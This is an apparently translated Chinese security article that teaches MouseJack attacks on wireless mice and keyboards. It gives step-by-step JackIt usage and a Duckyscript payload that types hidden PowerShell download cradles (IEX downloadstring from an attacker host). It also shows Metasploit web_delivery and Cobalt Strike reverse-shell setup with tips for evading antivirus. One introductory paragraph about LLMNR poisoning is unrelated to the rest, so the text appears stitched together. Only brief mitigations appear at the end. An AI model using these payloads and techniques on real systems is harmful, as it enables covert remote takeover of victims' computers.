【技术分享】如何远程控制别人的无线鼠标:深度揭露鼠标劫持内幕

http://p1.qhimg.com/t0111f4cbf7f199c2ef.jpg

译者:紫曦归来

预估稿费:260RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


简介

无线鼠标是一种被广泛使用的输入设备,受到了许多白领人士以及在拎着笔记本在外奔波的业务员们的青睐。但研究表明,无线鼠标存在安全隐患,恶意攻击者可通过低成本的无线攻击设备通过远程控制受害者的无线鼠标并进行,这也就是俗一系列恶意操作称的“鼠标劫持”(mouseJack)。接下来,让小编带大家看看黑客究竟是如何实施鼠标劫持的。

在内部交互活动(internal engagements)中,对本地网络的名称解析请求(poisoning name resolution requests)进行投毒污染,是一种获得初始域名密码的有效方法之一。虽然这一方法对多数客户端奏效(可以在非常短的时间内获得被攻击用户的域名管理权)。但是如果链路本地多播名称解析(LLMNR)和NETBIOS协议名称服务(NTB-NS)被安全地配置或者禁用时又该如何?还有一个问题那就是,目前已经证明Responder是一款强大并且简单易用的内网渗透神器,那么还有没有其他类似的工具或者方法呢?本研究将就此进行深入探讨。

在进行物理检测时,负责渗透测试的人员会运用多种攻击方法,其中就会使用到无线外设(wireless peripherals),这种技术也被称之为“鼠标劫持”(mousejacking)。2016年初一家美国物联网安全创业公司Bastille发布了一份披露无线鼠标漏洞的调查报告称, 多产商生产的无线鼠标和无线键盘存在安全漏洞。此后,鼠标劫持开始进入大众视野。恶意攻击者可以通过低成本的无线攻击设备远程控制受害者的无线鼠标并进行一系列恶意操作。事实上,鼠标劫持并不是不可能完成的任务,大多数无线鼠标(和少数键盘)在设备和其配对的USB加密狗之间没有使用加密通信,即使使用了加密通信也很难逃过攻击者的魔掌。


你的鼠标存在漏洞吗?

也许你会好奇哪些设备存在安全漏洞。Bastille网站上已经列出了一长串存在漏洞的设备名单。我本人对微软和罗技产品比较熟悉,下列微软的鼠标存在安全漏洞(事实上,存在漏洞的鼠标产品不只下面几个):

Sculpt人体工学鼠标 (Sculpt Ergonomic Mouse)

微软无线鼠标4000(Wireless Mobile Mouse 4000)

微软无线鼠标5000(Wireless Mouse 5000)

使用Unifying“优联”无线技术的罗技鼠标易遭受mousejacking攻击。但大多罗技公司生产的无线鼠标均采用了Unifying“优联”无线技术。使用这一技术的鼠标蓝牙适配器极易进行识别:

 http://p6.qhimg.com/t014005451c4e22ccc2.png

进行Mousejack攻击前,首先要购买SeeedStudio的Crazyradio PA USB的蓝牙适配器(加密狗)和天线。下图所示是一个2.4 GHz的远程无线发射器价值约30美元,部分无人机产品也使用这一型号的发射器。接下来,我们要将这个发射性进行改造,使其能够发起恶意攻击。这个新的固件将允许加密狗进行恶意运行,添加数据包嗅探(packet sniffing)和注入功能。一旦获得Crazyradio PA套件,我们就可以在这里找到使用新固件进行设置的说明。

 http://p2.qhimg.com/t0143c8ebe1ce8a7d23.png

如果可以使用更多的设备进行测试效果会更好。在我的个人实验室里,我使用的是罗技的m510无线鼠标和微软的无线移动鼠标4000进行测试。

  http://p8.qhimg.com/t0174ddfb9e2be22251.pnghttp://p9.qhimg.com/t0150901b5fd1ef5c6a.png

首选的实施攻击的软件是JackIt,这是一个由phiksun和infamy编写的python脚本。本研究在利用Bastille公司2016发布的研究报告基础上,简化了设备识别和攻击传播。使用Kali或自定义地传播,获取了脚本:

 $ git clone https://github.com/insecurityofthings/jackit.git /opt/

查看一遍README.md文件,并按照说明安装JackIt软件。安装完成后,须确保在启动工具之前插入Crazyradio PA蓝牙适配器。如果没有做到这一步,将会导致JackIt发生错误。我们开始运行JackIt。此时,JackIt将进入搜索模式,帮助你找寻无线输入设备:

 /opt/jackit/$ ./jackit.py

你需要花费一些时间来检查JackIt的输出。

 http://p3.qhimg.com/t01aa81b6c548f7fd21.png

当JackIt发现范围内的无线输入设备后,会根据初始显示顺序在密码(KEY)栏中创建一个新的行。当你要针对某一设备实施攻击时,你需要参考这些数据。在地址(ADDRESS)栏中显示的是无线设备的硬件MAC地址。这一栏中的内容可以帮助你确定之前有没有见过,或者攻击过这些无线设备(JackIt不会跟踪你以前定位的设备,因此在同时使用多台设备时,你需要自行跟踪这些设备)。在JackIt捕获到足够的数据包后,类型栏(TYPE)就会显示捕获到的设备的具体品牌。值得注意的一点是,在上面这张截屏上,第二个设备(KEY 2)未被正确的识别出来。

 https://p3.ssl.qhimg.com/t016e423f6f395a3f91.png

与无线通信相关的统计(COUNT)和可见(SEEN)栏在无线设备及其蓝牙适配器之间进行检测。统计(COUNT)栏用于统计使用Crazyradio PA软件获取到的无线设备及其蓝牙适配器之间通讯的次数;而可见(SEEN)栏显示的是设备最后一次通信距离现在的时间。没有被检测出的设备可能有以下两种原因,一是在检测时没有频繁使用,二是不在检测范围内。在第一种情况下,用户可能暂时没有使用电脑,从而导致电脑进入待机状态。

频道(CHANNELS)显示的是无线设备及其蓝牙适配器之间进行通信的频道。数据包(PACKET)栏显示的是最后捕获的通信内容。这两栏我们可以暂时忽略。

为了有效地实施攻击,JackIt软件需要了解发送给受害者的恶意鼠标操作(malicious keystrokes)。该软件所使用的是Duckyscript脚本语言,这同样也是Hak5 USB 橡皮鸭(Rubber Ducky)所使用的脚本语言。USB 橡皮鸭是一款按键注入工具。USB 橡皮鸭要求Duckyscript脚本语言在使用之前进行编码,但JackIt则无需这样,只需要在文本文件中发送一个“plaintext”命令即可。

以下是我推荐使用Duckyscript脚本语言进行鼠标劫持的起始点。鉴于用户可以看到正在进行的鼠标劫持,因此我会尽可能尝试简化攻击过程,但也会尽量详细地展示这一过程。延时(DELAY)的时间比使用USB橡皮鸭的脚本语言要短得多,因为我们无需等待驱动程序安装。除了降低延时(DELAY)外,尽可能地缩短实际的攻击有效载荷对达到攻击效果也大有裨益。原因有两个方面:一是较少的击键次数意味着可以在最短的时间内将字符发送给受害者(每一次击键将会在被攻击者电脑上打出字,从而引起被攻击者的注意);二是可以减少数据在传输过程中的损失问题(无线攻击可能不稳定,可能会出现丢失字符或出现错误字符的问题)。稍后我会深入探讨这一问题。

 http://p8.qhimg.com/t013805484dd9a8e87e.png

使用上面这个脚本,JackIt将打开Windows的“运行”(run)提示,临时暂停,并发送指定的恶意有效载荷,再暂停,然后再发出命令。为了能够比较清楚明了地展示出击键注入的速度以及用户对鼠标劫持的反应情况,我向受害者设备发送了一串字符(如下图所示):

正如你所见,即便我加快了输入字符的速度,但仍然会在用户计算机上显示一个活动窗口。用户就会注意到这一攻击行动。

注意:如果击键输入打开了一个有效的程序,例如powershell.exe,窗口将在输入结束后关闭。在这种情况下,运行提示窗口会自动弹出,并且在无法正确处理命令时突出显示文本。


从鼠标到远程木马入侵

下一步,漏洞利用——在大多数情况下,要实现这步,至少需要两台设备。一台是用于实施攻击的设备,这台设备一般须安装Crazyradio PA蓝牙设配器以及JackIt软件。这台设备的操作者需要接近攻击目标,以获取正在使用的无线输入设备的相关信息。这台攻击设备发送的有效载荷将使受害者的计算机与第二台设备相连。这台设备是指挥与控制(C2)服务器的虚拟主机。

那么,问题来了,我们要使用哪种恶意有效载荷呢?PowerShell one-liners是一个不错的选择。Metasploit Framework有一个专门为PowerShell one-liners建立的模块(可进行exploit/multi/script/web_delivery等操作)。

下图所示是Web_Delivery模块:

 http://p6.qhimg.com/t01b31859dca62f6c20.png

需要注意的一点是,默认的exploit目标值已经设置为 Python高级程序设计语言。使用PowerShell作为分发机制,我们就需要运行SET TARGET 2程序。这将确保使用PowerShell下载的渗透测试平台和恶意软件所生成的有效载荷能够奏效。作为C2服务器的第二台设备上须按照SRVHOST和LHOST。其中,SRVPORT将被设置成用于托管恶意有效载荷的端口,而LPORT则被设置成有效载荷处理程序的端口。一般情况下,我们建议你尽可能使用无状态的有效载荷(例如windows/meterpreter_reverse_https等),这将有助于你成功绕过攻击目标计算机自带的防毒软件。尝试使用Web Delivery模块将导致错误,这主要是由于有效载荷超出了窗口命令栏所规定的8192个字符命令限制(Cobalt Strike的有效载荷可通过压缩字符数绕过这种限制)。由于存在这种限制,我们可以使用分级有效载荷:windows/meterpreter/reverse_https。最后,我们需要将URIPATH设置成一些简短的/a字符,以避免Metasploit生成一个随机的多字符串。当所有程序都设置完毕,模块将如下图所示:

 http://p1.qhimg.com/t011733adfdfb5c3eab.png

让我们运行该模块生成单行PowerShell,展开攻击荷载handler:

 http://p1.qhimg.com/t01853dc24663377dfd.png

如之前所述,使用此类攻击的优点是可以尽量缩短字符串的长度。 由Web Delivery模块生成的字符串比我喜欢使用的大多数鼠标劫持(mousejacking)字符串略长一点:

powershell.exe -nop -w hidden -c $v=new-object net.webclient;$v.proxy=[Net.WebRequest]::GetSystemWebProxy();$v.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $v.downloadstring('http://192.168.2.10/a');

并不像一个普通的PowerShell下载cradle,不是么?该模块会生成一个随机变量(在本示例中为$ v),并使用它帮助混淆cradle,从而绕过某些防御措施。此外,这些命令可以使cradle看起来像是使用了代理,这将有助于攻击载荷成功在互联网上放出(如果你的C&C服务器服务器基于云服务,可能会起到帮助)。

我们完全能够在缩短攻击载荷字符串的情况下,仍然使其具备功效,但我们必须权衡其中利弊。如果我们的C&C服务器就存在于目标网络内部,可以删除与代理相关的命令,同时继续保留一些混淆代码以保护cradle完整性。再或者,如果我们真的需要最短的字符串,可以去掉所有的混淆代码,恢复其成为正常的下载cradle。所有的这些最终归结于,你是选择防止用户察觉,还是躲避对方主机的防护措施。以下是每种修改方法的示例:

powershell.exe -nop -w hidden -c $v=new-object net.webclient;IEX $v.downloadstring('http://192.168.2.10/a');
powershell.exe -nop -w hidden -c IEX(new-object net.webclient).downloadstring('http://192.168.2.10/a');

专业提示:如果你对PowerShell混淆技术感兴趣,请关注@danielhbohannon的文章!

现在,我们已经建立好C&C服务器,并安放完恶意字符串。我们可以在之前阶段修改模板中的Duckyscript,只需确认做好本地备份:

GUI r
DELAY 300
STRING powershell.exe -nop -w hidden -c IEX(new-object net.webclient).downloadstring('http://192.168.2.10/a');
DELAY 300
ENTER
ENTER

使用JackIt进行漏洞利用或是监视,只需以下代码标签调用Duckyscript文件:

/opt/jackit/$ ./jackit.py --script ducky-script.txt

在下面的截图中,可以看到我们发现了两个经由JackIt指纹识别的无线外设。当我们需要启动鼠标劫持攻击时,只需按下CTRL-C:

 https://p1.ssl.qhimg.com/t015e0e65339cdf2400.png

我们可以选择单独的设备,或者多个设备,再或者被发现的所有设备。一旦我们选择完毕并按下ENTER键,定向攻击便会启动。根据目标设备的品牌,你将在脚本运行完成之前,从屏幕上看到很多延迟10ms的消息。当看到以下消息时,你就能得知JackIt已经运行完成:[+]已完成所有攻击。

让我们来查看一下Web Delivery模块,看看是否有攻击取得成功:

 http://p8.qhimg.com/t015f17f2dc864ceba9.png

看起来我们实现了一次成功攻击!虽然我们尝试对两个目标发动鼠标劫持攻击,但只有一个成功响应。之所以其中一个攻击尝试会取得失败,我们会简要讨论造成原因。

现在,我们已经成功结合Metasploit的Web Delivery模块与JackIt入侵一处无线外设。我们实际上还有其他框架可以利用,制作类似的单行PowerShell,包括Cobalt StrikeEmpire。可以简单讲一讲Cobalt Strike,我在进行鼠标劫持时,还喜欢使用一种非PowerShell的攻击载荷。

Cobalt Strike有一个名为Scripted Web Delivery的攻击手法,与 Metasploit的Web Delivery相类似,不同之处在于其提供了更多的攻击载荷选项。虽然PowerShell选项已经证明可用,我还是更偏爱regsvr32攻击荷载,因为它十分短小而实用;但是,这种攻击必须目标系统安装Microsoft Office,因为发动攻击需要使用VBA宏命令以及COM脚本段:

http://p0.qhimg.com/t01c20c7bd184492f69.png

配置完成后,攻击载荷将类似于如下内容:

 https://p3.ssl.qhimg.com/t01b5521db401081448.png

本文中并未叙述该攻击载荷的运行原理,如果有兴趣了解,可以查看凯西•史密斯(@subTee)的博客文章

继续之前,我想提一下:在成功实施攻击之后,我在再次运行JackIt时出现了问题,收到了如下错误消息:

https://p1.ssl.qhimg.com/t015cdeaa0804dcd0ae.png

我分别以在VMWare下运行Kali,以及单独运行Kali box两种情况重现了这个错误。如果你在其他类型的Linux上遇到此情况,请告知我。除了重新启动操作系统之外,解决此错误的唯一方法是取消绑定,然后重新将USB驱动程序和CrazyRadio PA加密狗绑定。我们可以通过拔下并重新插入CrazyRadio PA,或者通过向控制台发送一些特定的命令来实现。幸运的是,我的同事Dan Astor(@illegitimateDA)编写了一个Bash脚本为我们代劳。每当提示错误消息,只需运行以下脚本,然后就可以重新运行JackIt:

#!/bin/bash
#Tool :: USB device reset script developed for use with JackIt & CrazyRadio PA USB Adapter
#Author :: Dan Astor (@illegitimateDA)
#Usage :: After running an attack with JackIt, run the script to reset the USB adapter. This will fix the USB Core Error Python throws.
#Unbind USB devices from the system and rebind them
for device in /sys/bus/pci/drivers/uhci_hcd/*:*; do
     #Unbind the device
     echo "${device##*/}" > "${device%/*}/unbind"
     #Bind the device
     echo "${device##*/}" > "${device%/*}/bind"
done

我被告知会出现Shells

至此,我们发现并攻击了豪不知情的受害者,他们不知道加密狗的危险。但是,如果一切都不按计划运行呢?如果我们对多个外设释放攻击后,发现并没有shells在等着我们呢?很可怕!

首先:我们要讨论区域范围。坦白的说,CrazyRadio PA附带的天线并不好用,尽管广告中吹嘘加密狗可以“远距离”进行操控。在我们的攻击字符串中,仅出现一次代码缺失或乱码情况,影响到了pwnage parade。我不止一次看到代码缺失的情况,甚至目睹了超长字符串的运行实例,充斥着正斜杠以阻止实例关闭,用户因此不得不重启受影响计算机。这些情况是不理想的,因为我们没有收到shells,而用户可能会注意到我们的攻击,我们甚至还会对用户的外设灵敏度产生负面影响(CLIENT RAGE!)。根据我的经验,我觉得很多这些问题都可以利用提高信号强度来避免。我有幸得到了Alfa天线,如9dBi Wifi Booster。这个特殊选择的唯一问题是,我们需要在笔记本电脑的延伸出的一个15“天线上花费大量精力调试。我的建议是:尝试不同的选择,找到一个你认为可靠的最大范围。

第二件要注意的事情是:微软的无线设备并不好惹。这是因为,与罗技外设不同,微软在设备和加密狗之间的每次通信中都使用了序列号。 JackIt能够用于监视这些序列号,但如果用户在受攻击之前执行某些操作(单击,移动鼠标等),则序列号将无法对齐,然后我们将再次发现代码缺失或乱码。虽然有时候很难搞定,但在目标使用微软外设时,我更愿意亲自“监视”目标,以等待发动攻击的理想时机。当然如果我完全无视这些条件,并将微软和罗技设备都摆在攻击范围之内,我还是会选择罗技设备作为目标。

第三个考虑是:我们应该如何构建指向我们攻击载荷的URL。我在最近的实践中吸取了教训。利用Cobalt Strike,我在一个类似于本文之前提到的URL示例(http://ip_address/a)中安放了攻击荷载。在对一个理想目标发起攻击后,我发现在C&C服务器上等待不到shell。在检查Cobalt Strike的Web日志后,我看到类似于以下内容的消息:

 https://p2.ssl.qhimg.com/t013bcabab92b181a36.png

这是令人困惑的地方,为什么我的目标会登录以大写/ A结尾的网址?在我的DuckyScript文件中有没有错误的攻击字符串?经过快速检查,我排除了这种可能。然后,我突然想到…用户可能启用了大小写键!我居然犯了这么蠢的错误!从那以后,我更改了鼠标劫持所用的URL为数字(即/ 1),防止再次出现类似的问题。

最后,我列举了一些用户能够采取的补救措施。

质量不好的加密狗有什么特点?

处理鼠标劫持问题,最简单的解决方案其实是:使用有线外设(或改为蓝牙设备)。话虽如此,如果你真的钟爱2.4 GHz设备,微软和罗技还是在受影响的产品中制定了一些缓解策略的。

微软于2016年4月发布了一项安全通告,并附有相应的可选补丁。 该补丁将在加密狗端口添加更强大的过滤手段,以便检测和处理恶意键盘操作。研究人员已经测试过该补丁的效果,但表示补丁不一定能解决所有问题,某些设备即使在安装补丁后仍然易受攻击。

罗技采取了不同的策略,其要求用户手动进行固件更新,以解决问题。 更新过程需要多个步骤,对于专业技术掌握较少的终端用户来说十分麻烦。对于IT部门,想要面向所有用户群体进行大规模手动升级也是不切实际的。

鉴于这些事实,我认为在未来一段时间内,还是能够在企业内部发现能够实施鼠标劫持攻击的设备。 如果你也想进行相关实践,请考虑将鼠标劫持添加到自己的攻击工具箱中吧!

(完)